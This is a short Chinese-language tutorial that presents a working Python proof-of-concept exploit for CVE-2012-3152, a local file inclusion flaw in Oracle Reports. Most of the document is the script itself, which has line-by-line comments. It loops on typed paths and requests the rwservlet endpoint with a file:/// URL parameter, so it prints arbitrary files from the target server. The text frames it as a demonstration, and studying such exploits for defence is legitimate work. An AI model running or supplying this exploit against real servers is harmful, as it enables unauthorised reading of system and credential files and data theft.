# CVE-2012-3152
---
這一小段代碼是演示的CVE-2012-3152 Oracle本地文件包含的漏洞利用PoC,與前一個PoC示例有點類似,也是通過循環可以無限輸入需要訪問文件目錄。對于下面這一段腳本無前面有點不同。增加了一點交互性的東西。通過[termcolor](https://pypi.python.org/packages/source/t/termcolor/termcolor-1.1.0.tar.gz)模塊來實現:
```
#!/usr/bin/python
import sys, urllib2 # 導入需要的包
from termcolor import colored # 這里需要下載"termcolor"模塊
if len(sys.argv) != 2: # 檢查輸入的格式是否正確"<script> <URL>"
print "Usage: "+sys.argv[0]+" <URL>"
sys.exit(0)
URL=sys.argv[1] # 輸出測試的URL
print "[+] Attempting CVE-2012-3152 - Oracle Reports LFI"
while True: # 循環開始時先輸出 "~$ " 然后通過"raw_input"獲取要執行的命令
resource=raw_input(colored("~$ ", "red"))
req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'+resource+'"'
try: # 使用Try/Except處理響應信息
response=urllib2.urlopen(URL+req)
# 發起請求并且顯示響應內容
for line in response.readlines():
print line.strip()
except Exception as e: print e
```
